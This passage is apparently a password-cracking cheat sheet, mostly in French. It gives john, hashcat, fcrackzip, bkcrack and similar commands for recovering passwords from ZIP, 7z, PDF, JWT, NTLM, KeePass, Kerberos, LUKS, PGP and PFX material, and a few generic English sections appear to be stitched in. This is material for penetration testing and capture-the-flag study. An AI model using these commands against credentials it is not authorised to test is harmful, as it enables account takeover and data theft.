* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Consultez ceci avant d'essayer de faire une attaque par force brute sur un Hash.
### ZIP
```bash
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Attaque par force brute de texte en clair connu
Vous devez connaître le **texte en clair** (ou une partie du texte en clair) **d'un fichier contenu à l'intérieur** du zip chiffré. Vous pouvez vérifier les **noms de fichiers et la taille des fichiers contenus à l'intérieur** d'un zip chiffré en exécutant : **`7z l encrypted.zip`**\
Téléchargez [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) depuis la page des versions.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
```
### 7z
### 7z
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
### PDF
#### Brute Force
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there is no other way to obtain it. Brute force attacks can be time-consuming but are often effective.
#### Protection
To protect against brute force attacks, it is important to use strong and complex passwords that are not easily guessable. Implementing account lockout policies after a certain number of failed login attempts can also help prevent brute force attacks. Additionally, using multi-factor authentication can add an extra layer of security to prevent unauthorized access.
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```
### Mot de passe propriétaire PDF
Pour craquer un mot de passe propriétaire PDF, consultez ceci : [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT
```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### Craquage NTLM
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
### Keepass
### Keepass
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Keberoasting
Keberoasting est une technique utilisée pour extraire des hachages de mots de passe à partir de services tels que Kerberos en attaquant les comptes de service qui ont des comptes de service SPN (Service Principal Name) associés.
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Image Lucks
#### Méthode 1
Installer : [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
#### Méthode 2
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
### Mysql
Un autre tutoriel de BF Luks : [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
```bash
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
### Clé privée PGP/GPG
```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
### Cisco
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
### Clé maître DPAPI
Utilisez [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) puis john
### Colonne protégée par mot de passe dans Open Office
Si vous avez un fichier xlsx avec une colonne protégée par un mot de passe, vous pouvez la déprotéger :
* **Téléchargez-le sur Google Drive** et le mot de passe sera automatiquement supprimé
* Pour le **supprimer** manuellement :
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .
```
### Certificats PFX
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Outils
**Exemples de hash :** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Identificateur de hash
```bash
hash-identifier
> <HASH>
```
### Listes de mots
* **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
### **Outils de génération de listes de mots**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Générateur avancé de séquences de touches avec des caractères de base configurables, une disposition de touches et des itinéraires.
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
### Mutation de John
Lisez _**/etc/john/john.conf**_ et configurez-le
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
### Hashcat
#### Attaques Hashcat
* **Attaque par liste de mots** (`-a 0`) avec des règles
**Hashcat** est déjà livré avec un **dossier contenant des règles** mais vous pouvez trouver [**d'autres règles intéressantes ici**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* **Attaque de combinaison de listes de mots**
Il est possible de **combiner 2 listes de mots en 1** avec hashcat.\
Si la liste 1 contenait le mot **"hello"** et que la seconde contenait 2 lignes avec les mots **"world"** et **"earth"**. Les mots `helloworld` et `helloearth` seront générés.
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
* **Attaque par masque** (`-a 3`)
```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
* Attaque par liste de mots + masque (`-a 6`) / Attaque par masque + liste de mots (`-a 7`)
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Modes Hashcat
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
## Brute Forcing
### Introduction
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm and salt as the original hash. If the generated hash matches the target hash, the password has been successfully cracked.
### Tools
There are various tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques for password cracking, making them versatile and powerful options for cracking Linux hashes.
### Methodology
1. Obtain the hash from the `/etc/shadow` file.
2. Identify the hashing algorithm and salt used.
3. Use a brute force tool to generate potential passwords and hash them using the same algorithm and salt.
4. Compare the generated hashes with the target hash.
5. If a match is found, the password has been successfully cracked.
### Considerations
- Brute forcing can be time-consuming, especially for complex passwords.
- It is essential to use a good wordlist and customize the brute force settings to increase the chances of success.
- Brute forcing should be done responsibly and with proper authorization to avoid legal consequences.
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
## Brute Forcing Windows Hashes
### Introduction
When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found. In this section, we will discuss the steps involved in brute forcing Windows hashes.
### Tools Required
To perform a brute force attack on Windows hashes, you will need tools such as **John the Ripper** or **Hashcat**. These tools are capable of generating and testing a large number of password combinations in a short amount of time.
### Methodology
1. **Capture the Hash**: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like **Mimikatz** to dump the hashes from memory.
2. **Choose a Wordlist**: Before starting the brute force attack, you need to select a wordlist that will be used to generate password combinations. Wordlists can be obtained from various sources or created based on common passwords and patterns.
3. **Run the Brute Force Attack**: Use a tool like **John the Ripper** or **Hashcat** to run the brute force attack against the captured hash. The tool will systematically try all possible password combinations until the correct one is found.
4. **Crack the Hash**: Once the tool successfully cracks the hash, it will display the password that corresponds to the hash. This password can then be used to gain access to the Windows system.
### Conclusion
Brute forcing Windows hashes can be a time-consuming process, especially if the password is complex. However, with the right tools and techniques, it is possible to crack Windows hashes and gain unauthorized access to a system. It is important to use these techniques responsibly and only on systems that you have permission to test.
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
## Brute-Force
### Dictionary Attacks
A dictionary attack involves the use of a wordlist to attempt to crack passwords. These wordlists can be obtained from various sources and may contain commonly used passwords, dictionary words, or previously leaked passwords. Tools like `hashcat` and `John the Ripper` support dictionary attacks and can be highly effective if the password is weak or commonly used.
### Rule-Based Attacks
Rule-based attacks involve the use of predefined rules to manipulate wordlists during the cracking process. These rules can modify words by adding numbers, special characters, or making other common password variations. Tools like `hashcat` allow users to create custom rule sets to increase the chances of cracking passwords.
### Hybrid Attacks
Hybrid attacks combine dictionary attacks with brute-force attacks by adding specific patterns or characters to dictionary words. This approach can be useful when passwords have been slightly modified from dictionary words. Tools like `hashcat` support hybrid attacks and can be configured to try various combinations efficiently.
### Mask Attacks
Mask attacks involve creating a mask that represents the password's potential format and characters. This method is useful when the password's structure is known, such as the length or specific characters used. Tools like `hashcat` allow users to define custom masks to target specific password patterns, making the cracking process more efficient.
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
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